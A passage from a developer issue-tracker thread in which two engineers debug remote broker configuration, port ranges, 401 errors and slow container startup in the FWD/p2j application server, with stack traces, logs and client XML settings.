at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1575)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.invokeCore(RemoteObject.java:1458)
at com.goldencode.p2j.net.InvocationStub.invoke(InvocationStub.java:144)
at jdk.proxy2/jdk.proxy2.$Proxy19.getDedicatedHost(Unknown Source)
at com.goldencode.p2j.main.BrokerManager.schedule(BrokerManager.java:631)
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:465)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
Caused by: com.goldencode.p2j.net.ProtocolViolation: Expected ID 4 but rec'd ID 5
at com.goldencode.p2j.net.Conversation.waitMessage(Conversation.java:350)
at com.goldencode.p2j.net.Queue.transactImpl(Queue.java:1239)
at com.goldencode.p2j.net.Queue.transact(Queue.java:687)
at com.goldencode.p2j.net.BaseSession.transact(BaseSession.java:276)
at com.goldencode.p2j.net.HighLevelObject.transact(HighLevelObject.java:221)
at com.goldencode.p2j.net.HighLevelObject.getKey(HighLevelObject.java:173)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1547)
... 12 more
26/05/05 15:05:47.850-0400 | SEVERE | com.goldencode.p2j.main.BrokerManager [BrokerManager.spawn()] | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x0000790f2591afb8@478190d2 [00000000:standard], ThreadId:00000012, User:standard | Remote broker call exception.
java.lang.NullPointerException: No brokers are available for schedule.
at com.goldencode.p2j.main.BrokerManager.schedule(BrokerManager.java:655)
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:465)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
26/05/05 15:05:47.853-0400 | SEVERE | com.goldencode.p2j.main.ClientSpawner | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x0000790f2591afb8@478190d2 [00000000:standard], ThreadId:00000012, User:standard | spawnRemote exception:
java.lang.NullPointerException: Cannot spawn remote client.
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:496)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
Your broker1_client.xml had:
<client>
.
.
.
<minAgentPort value="9988" />
<minAgentPort value="9999" />
</client>
</node>
Should the 2nd be maxAgentPort? Also, the values should match what is setup in the directory portsRange from and to?
#892 Updated by Roger Borrello 3 months ago
Should my configuration work any better (or worse) with trunk_16543?
#893 Updated by Roger Borrello 3 months ago
Roger Borrello wrote:
Should my configuration work any better (or worse) with trunk_16543?
I'm trying the exact same configuration, and it's just stuck... the server log has:
26/05/05 15:38:00.884-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:main | No custom server extension defined in P2J directory 26/05/05 15:38:00.890-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:main | No custom client extension defined in P2J directory 26/05/05 15:38:00.890-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:main | Security audit log is disabled 26/05/05 15:38:00.897-0400 | INFO | com.goldencode.p2j.util.logging.CentralLoggerServer | ThreadName:main, ThreadId:00000003, User:standard | Configs received: com.goldencode.p2j.util.logging.CentralLoggerServer$Configs isServerSide: true, hasConsole: false, filePath: /usr/c-act/logs/fwd_server_%tY%tm%td_%tH%tM%tS_%g.log, level: WARNING, fileLimit: 200000000, fileCount: 10. WRITE_TO_SLF4J_API: false 26/05/05 15:38:01.437-0400 | INFO | com.goldencode.p2j.util.appserver.AppserverDefinition | ThreadName:main, ThreadId:00000003, User:standard | Definition for appserver 'mobAS1' resolved from directory. 26/05/05 15:38:01.439-0400 | INFO | com.goldencode.p2j.util.appserver.AppserverDefinition | ThreadName:main, ThreadId:00000003, User:standard | Definition for appserver 'appAS1' resolved from directory. 26/05/05 15:38:17.114-0400 | WARNING | com.goldencode.p2j.convert.MatchPhraseDictionary | ThreadName:main, ThreadId:00000003, User:standard | Could not find match phrase list! 26/05/05 15:38:19.364-0400 | WARNING | com.goldencode.artifacts.ArtifactManager | ThreadName:main, ThreadId:00000003, User:standard | No files found in the file set. 26/05/05 15:39:00.753-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:refresh, ThreadId:00000004, User:standard | No custom server extension defined in P2J directory 26/05/05 15:39:00.753-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:refresh, ThreadId:00000004, User:standard | No custom client extension defined in P2J directory 26/05/05 15:39:00.766-0400 | WARNING | com.goldencode.p2j.security.SecurityCache | ThreadName:refresh, ThreadId:00000004, User:standard | Security audit log is disabled 26/05/05 15:39:00.768-0400 | WARNING | com.goldencode.p2j.security.SecurityManager | ThreadName:refresh, ThreadId:00000004, User:standard | Security Cache generation 1 created. 26/05/05 15:39:53.423-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use! 26/05/05 15:39:53.426-0400 | INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready 26/05/05 15:39:53.434-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'appAS1'. [00000000:standard], ThreadId:00000005, User:standard | No configuration found for listener timeout - setting it to the default value of null 26/05/05 15:39:53.435-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'mobAS1'. [00000000:standard], ThreadId:00000006, User:standard | No configuration found for listener timeout - setting it to the default value of null 26/05/05 15:39:53.435-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'mobAS1'. [00000000:standard], ThreadId:00000006, User:standard | No configuration found for agent batch size - setting it to the default value of 5 26/05/05 15:39:53.435-0400 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'mobAS1'. [00000000:standard], ThreadId:00000006, User:standard | Batch size for agent launch: 5 26/05/05 15:39:53.436-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'appAS1'. [00000000:standard], ThreadId:00000005, User:standard | No configuration found for agent batch size - setting it to the default value of 5 26/05/05 15:39:53.437-0400 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'appAS1'. [00000000:standard], ThreadId:00000005, User:standard | Batch size for agent launch: 5 26/05/05 15:41:18.014-0400 | INFO | com.goldencode.p2j.util.logging.CentralLoggerServer | ThreadName:Conversation [00000006:mobAS1], Session:00000006, ThreadId:00000007, User:mobAS1 | Configs received: file path /usr/c-act/logs/mobAS1_fwd_%g.log, rotationLimit 200000000, rotationCount 3. 26/05/05 15:41:18.045-0400 | INFO | com.goldencode.p2j.util.logging.CentralLoggerServer | ThreadName:Conversation [00000007:appAS1], Session:00000007, ThreadId:00000008, User:cactAS1 | Configs received: file path /usr/c-act/logs/cactAS1_fwd_%g.log, rotationLimit 200000000, rotationCount 3. 26/05/05 15:41:20.409-0400 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'mobAS1'. [00000000:standard], ThreadId:00000006, User:standard | Initial agents launched successfully for appserver 'mobAS1' (86.973464 seconds) 26/05/05 15:41:21.159-0400 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:Launcher for process 'appAS1'. [00000000:standard], ThreadId:00000005, User:standard | Initial agents launched successfully for appserver 'appAS1' (87.722246 seconds) 26/05/05 15:41:31.579-0400 | WARNING | com.goldencode.p2j.persist.orm.Settings | ThreadName:Conversation [00000006:mobAS1], Session:00000006, ThreadId:00000007, User:mobAS1 | Duplicate database Settings for local/menu/dirty 26/05/05 15:41:33.448-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:pool-3-thread-1 | Agent for appserver 'mobAS1' could not be started (100007ms)! 26/05/05 15:41:33.452-0400 | WARNING | com.goldencode.p2j.util.AppServerLauncher | ThreadName:pool-4-thread-1 | Agent for appserver 'appAS1' could not be started (100011ms)! 26/05/05 15:41:35.103-0400 | WARNING | com.mchange.v2.c3p0.cfg.C3P0Config | ThreadName:Conversation [00000007:appAS1], Session:00000007, ThreadId:00000008, User:cactAS1 | named-config with name 'landlord-ds' does not exist. Using default-config. 26/05/05 15:41:35.104-0400 | WARNING | com.mchange.v2.c3p0.cfg.C3P0Config | ThreadName:Conversation [00000007:appAS1], Session:00000007, ThreadId:00000008, User:appAS1 | named-config with name 'landlord-ds' does not exist. Using default-config extensions.
#894 Updated by Sergey Ivanovskiy 3 months ago
Roger, please look at your directory settings (#9709-889) and check the access to your certificates in the client xml file. Yes, this is a copy past error but it does not matter, the configuration must be
<client>
.
.
.
<minAgentPort value="9988" />
<maxAgentPort value="9999" />
</client>
#895 Updated by Sergey Ivanovskiy 3 months ago
- File deleted (
broker1_client.xml)
#896 Updated by Sergey Ivanovskiy 3 months ago
- File broker1_client.xml
added
#897 Updated by Sergey Ivanovskiy 3 months ago
Roger Borrello wrote:
Should my configuration work any better (or worse) with trunk_16543?
What do you mean? 9709e has changes related to broker range and configuration changes.
#898 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Roger, please look at your directory settings (#9709-889) and check the access to your certificates in the client xml file.
I am trying to use the same certificates as always, to avoid confusion.
Yes, this is a copy past error but it does not matter, the configuration must be
[...]
So the 9988 to 9999 values in broker_client do not need to match up with the 7449 to 7459 on the server, but can they? What is the purpose of making them different?
#899 Updated by Sergey Ivanovskiy 3 months ago
This is the client settings related to the debug agent ports if the remote debug is needed:
<client>
<spawner value="/home/sbi/opt/hotel_gui/spawn" />
<jvmArgs value="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8 -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9988,server=y,suspend=n" />
<classpath value="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
<minAgentPort value="9988" />
<maxAgentPort value="9999" />
<web host="192.168.100.3"/>
<web dedicatedMode="false"/>
<web defaultOsUser="sbi"/>
</client>
If the debug is not needed, then the related settings are removed from the client configuration
<client>
<spawner value="/home/sbi/opt/hotel_gui/spawn" />
<jvmArgs value="-Xmx1G -Djava.awt.headless=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8 -Xnoagent -Djava.compiler=NONE" />
<classpath value="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
<web host="192.168.100.3"/>
<web dedicatedMode="false"/>
<web defaultOsUser="sbi"/>
</client>
#900 Updated by Roger Borrello 3 months ago
- File directory.xml
added - File 9709_401_errors.png added
- File create_docker_lan.sh
added - File broker1_client.xml
added
Everytime I return to broker, there's a big regroup... I finally am getting connected again... almost. The configuration is a VM fwddev1 that runs the 3 all-in-one containers (db/server/broker). I used the attached create_docker_lan.sh script to create a "bridge" network setup on fwddev1. I did need to manually add a route on my laptop sudo ip route add 192.168.2.0/24 via 192.168.1.241, where 192.168.1.241 is the IP address of fwddev1 and 192.168.2.0/24 is the container network.
The reason I say, "almost" is that after I sign on to the web client, I get a strange box. I see 401 errors:
The server log shows the below:
26/05/06 12:32:25.401-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp481549862-117 | not available host:port cactbrk1/192.168.2.52:7449. 26/05/06 12:34:27.258-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp481549862-46 | not available host:port cactbrk1/192.168.2.52:7450. 26/05/06 12:39:43.789-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp481549862-39 | not available host:port cactbrk1/192.168.2.52:7451. 26/05/06 12:40:59.584-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp481549862-45 | not available host:port cactbrk1/192.168.2.52:7452.
This is on 9709e_16545
#901 Updated by Roger Borrello 3 months ago
- File deleted (
9709_401_errors.png)
#902 Updated by Roger Borrello 3 months ago
- File 9709_401_errors.png added
#903 Updated by Sergey Ivanovskiy 3 months ago
Do you use 9709e?
#904 Updated by Sergey Ivanovskiy 3 months ago
Please post the jconsole, 401 code means unauthorized access to the resources.
#905 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Please post the jconsole, 401 code means unauthorized access to the resources.
gui:243 The launched client has origin: https://cactbrk1:7449
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:62 GET https://cactbrk1:7449/common/p2j.client.css net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:63 GET https://cactbrk1:7449/common/p2j.ospass.css 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:59 GET https://cactbrk1:7449/dojo-toolkit/dojox/form/resources/UploaderFileList.css net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:60 GET https://cactbrk1:7449/dojo-toolkit/dojox/grid/enhanced/resources/claro/EnhancedGrid.css net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:58 GET https://cactbrk1:7449/dojo-toolkit/dijit/themes/claro/claro.css net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:61 GET https://cactbrk1:7449/dojo-toolkit/dojox/grid/enhanced/resources/EnhancedGrid_rtl.css 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:65 GET https://cactbrk1:7449/dojo-toolkit/dojo/dojo.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:67 GET https://cactbrk1:7449/gettext.js/gettext.iife.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:69 GET https://cactbrk1:7449/common/p2j.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:70 GET https://cactbrk1:7449/common/p2j.logger.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:72 GET https://cactbrk1:7449/client/p2j.strokes.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:71 GET https://cactbrk1:7449/common/p2j.sound.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:73 GET https://cactbrk1:7449/client/p2j.canvas_renderer.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:74 GET https://cactbrk1:7449/client/p2j.strokes.webgl.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:75 GET https://cactbrk1:7449/client/p2j.canvas_renderer_webgl.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:76 GET https://cactbrk1:7449/client/p2j.virtual_desktop.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:77 GET https://cactbrk1:7449/client/p2j.mouse.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:78 GET https://cactbrk1:7449/client/p2j.screen.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:80 GET https://cactbrk1:7449/common/p2j.socket.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:81 GET https://cactbrk1:7449/common/p2j.sso_reauth.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:82 GET https://cactbrk1:7449/common/p2j.keymap.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:83 GET https://cactbrk1:7449/common/p2j.keyboard.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:84 GET https://cactbrk1:7449/client/p2j.clipboard_helpers.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:85 GET https://cactbrk1:7449/common/p2j.clipboard.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:86 GET https://cactbrk1:7449/common/p2j.fonts.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:87 GET https://cactbrk1:7449/common/p2j.remote.js 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:88 GET https://cactbrk1:7449/client/p2j.perf_tests.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:89 GET https://cactbrk1:7449/common/p2j.network_socket.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:92 Uncaught ReferenceError: require is not defined
at index.html?token=a5df4a81146dcec130e8b9b28326ea8e:92:7
(anonymous) @ index.html?token=a5df4a81146dcec130e8b9b28326ea8e:92
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:203 GET https://cactbrk1:7449/common/p2j.ospass.js net::ERR_ABORTED 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:203 GET https://cactbrk1:7449/common/beep.wav 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:206 GET https://cactbrk1:7449/common/beep.mp3 401 (Unauthorized)
index.html?token=a5df4a81146dcec130e8b9b28326ea8e:206 GET https://cactbrk1:7449/common/beep.ogg 401 (Unauthorized)
#906 Updated by Sergey Ivanovskiy 3 months ago
Did you try https://cactbrk1:7449/index.html?token=a5df4a81146dcec130e8b9b28326ea8e in new tab?
#907 Updated by Sergey Ivanovskiy 3 months ago
Please check using Chrome Web Developer Tools the root cause of 401. For doing this please check cookie, request, response tabs. https://cactbrk1:7449/index.html?token=a5df4a81146dcec130e8b9b28326ea8e should return Authentication cookie to the browser.
#908 Updated by Sergey Ivanovskiy 3 months ago
What is the log of the broker client that should be run on cactbrk1? Do you have the server log that this broker is registered within the server on cactsrv?
#909 Updated by Sergey Ivanovskiy 3 months ago
We can schedule the Google meeting later this day to find root cause of this issue.
#910 Updated by Roger Borrello 3 months ago
- File 9709_cact_try1.mkv added
- File fwd_server_20260506_133112_0.log
added
Sergey Ivanovskiy wrote:
Did you try https://cactbrk1:7449/index.html?token=a5df4a81146dcec130e8b9b28326ea8e in new tab?
Same 401
Please check using Chrome Web Developer Tools the root cause of 401. For doing this please check cookie, request, response tabs. https://cactbrk1:7449/index.html?token=a5df4a81146dcec130e8b9b28326ea8e should return Authentication cookie to the browser.
This is too deep and may need help. I have a video starting from a browser data deletion attached. We have to allow the site, but then we get socket errors until we die. Them we start with 401 errors the 2nd try. See the mkv attached.
What is the log of the broker client that should be run on cactbrk1? Do you have the server log that this broker is registered within the server on cactsrv?
The fwd_server_20260506_133112_0.log is attached.
We can schedule the Google meeting later this day to find root cause of this issue.
I can be on https://meet.google.com/nve-gjcr-roe now
#911 Updated by Sergey Ivanovskiy 3 months ago
OK, I will attach to your meeting room within 5 minutes. I should watch the video first.
#912 Updated by Sergey Ivanovskiy 3 months ago
- File directory.xml
added
#914 Updated by Sergey Ivanovskiy 3 months ago
Roger, I will be online within two hours.
#915 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Roger, I will be online within two hours.
Thanks... I am rebuilding on the latest 9709e. We'll see how it goes.
#916 Updated by Roger Borrello 3 months ago
Things are much better, although I really need to elongate some timeouts because in this configuration (the VM hosting 3 containers on my laptop) things are really slow and timeout. I would say things are functional on 9709e, and I really like the new configuration values, but testing this application's complex containers is a real challenge without some powerful CPU.
What would help with those websocket failures? The watchdog timer? The webclient log has:
26/05/06 21:55:02.825-0400 | INFO | org.eclipse.jetty.server.Server | PID:143, ThreadName:main, ThreadId:00000001 | Started oejs.Server@23aae55{STARTING}[12.0.22,sto=0] @11871ms
26/05/06 21:55:02.825-0400 | INFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | PID:143, ThreadName:main, ThreadId:00000001 | Server URL: https://192.168.2.52:7450/
26/05/06 21:55:02.825-0400 | INFO | com.goldencode.p2j.web.GenericWebServer | PID:143, ThreadName:main, ThreadId:00000001 | SSL provider: Conscrypt
26/05/06 21:55:02.915-0400 | INFO | com.goldencode.p2j.ui.client.driver.web.WebClientProtocol | PID:143, ThreadName:main, ThreadId:00000001 | Watchdog stopped!
26/05/06 21:55:02.918-0400 | INFO | com.goldencode.p2j.ui.client.gui.theme.ThemeManager | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | UI Theme successfully changed to 'windows10'
26/05/06 21:55:32.655-0400 | WARNING | com.goldencode.p2j.ui.client.gui.ButtonListGuiImpl | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | The given widget height 0.0 in char units is not enough to place all buttons. It requires at least 1.6800000000000002 length in char units.
26/05/06 21:55:32.656-0400 | WARNING | com.goldencode.p2j.ui.client.gui.ButtonListGuiImpl | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | The given widget width 0.0 in char units is not enough to place buttons. It requires at least 0.66 width in char units.
26/05/06 21:55:32.662-0400 | WARNING | com.goldencode.p2j.ui.client.gui.ButtonListGuiImpl | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | The given widget height 0.0 in char units is not enough to place all buttons. It requires at least 1.6800000000000002 length in char units.
26/05/06 21:55:32.662-0400 | WARNING | com.goldencode.p2j.ui.client.gui.ButtonListGuiImpl | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | The given widget width 0.0 in char units is not enough to place buttons. It requires at least 0.66 width in char units.
26/05/06 21:55:32.670-0400 | WARNING | com.goldencode.p2j.ui.client.gui.ButtonListGuiImpl | PID:143, ThreadName:main, Session:00000011, ThreadId:00000001, User:bogus | The given widget width 0.0 in char units is not enough to place buttons. It requires at least 0.66 width in char units.
and the GUI never displays.
#917 Updated by Sergey Ivanovskiy 3 months ago
Roger, your client log messages look normal. My last messages for the locally installed application are similar, except that the client was not shutdown gracefully.
#918 Updated by Sergey Ivanovskiy 3 months ago
Could you run only VM with one broker client container while the server and the database containers are hosted on your system but not on VM?
#919 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Could you run only VM with one broker client container while the server and the database containers are hosted on your system but not on VM?
This would need to be done with a "swarm", which is possible, and I have configured. That creates a virtual network overlay encompassing multiple "physical" systems.
BTW, the GUI did come up, just before I had to get some sleep. And it does function. It is just during the initial system startup that things were really strained.
#920 Updated by Sergey Ivanovskiy 2 months ago
I rebased 9709e up to rev 16571 to get new updates.
#922 Updated by Roger Borrello 2 months ago
I added nginx to the mix so I could more closely match the customer. My server is logging:
26/05/12 16:10:30.224-0400 | SEVERE | com.goldencode.p2j.main.BrokerManager [BrokerManager.spawn()] | ThreadName:qtp1334753660-41 | Remote broker call exception.
java.lang.IllegalStateException: Correct range: 'webClient/portsRange/from' < 'webClient/portsRange/to' must be provided
at com.goldencode.p2j.main.WebClientsManager.allocateClient(WebClientsManager.java:514)
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:469)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.WebDriverHandler.spawnWorker(WebDriverHandler.java:985)
at com.goldencode.p2j.main.WebDriverHandler.handleStartClientRequest(WebDriverHandler.java:652)
at com.goldencode.p2j.main.VirtualDesktopWebHandler.handle(VirtualDesktopWebHandler.java:218)
at org.eclipse.jetty.server.Handler$Sequence.handle(Handler.java:805)
at org.eclipse.jetty.server.Server.handle(Server.java:182)
at org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:678)
at org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:416)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
at org.eclipse.jetty.io.ssl.SslConnection$SslEndPoint.onFillable(SslConnection.java:575)
at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:390)
at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:150)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:480)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:443)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201)
at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
at java.base/java.lang.Thread.run(Thread.java:840)
26/05/12 16:10:30.227-0400 | SEVERE | com.goldencode.p2j.main.ClientSpawner | ThreadName:qtp1334753660-41 | spawnRemote exception:
java.lang.NullPointerException: Cannot spawn remote client.
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:496)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.WebDriverHandler.spawnWorker(WebDriverHandler.java:985)
at com.goldencode.p2j.main.WebDriverHandler.handleStartClientRequest(WebDriverHandler.java:652)
at com.goldencode.p2j.main.VirtualDesktopWebHandler.handle(VirtualDesktopWebHandler.java:218)
at org.eclipse.jetty.server.Handler$Sequence.handle(Handler.java:805)
at org.eclipse.jetty.server.Server.handle(Server.java:182)
at org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:678)
at org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:416)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
at org.eclipse.jetty.io.ssl.SslConnection$SslEndPoint.onFillable(SslConnection.java:575)
at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:390)
at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:150)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:480)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:443)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201)
at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
at java.base/java.lang.Thread.run(Thread.java:840)
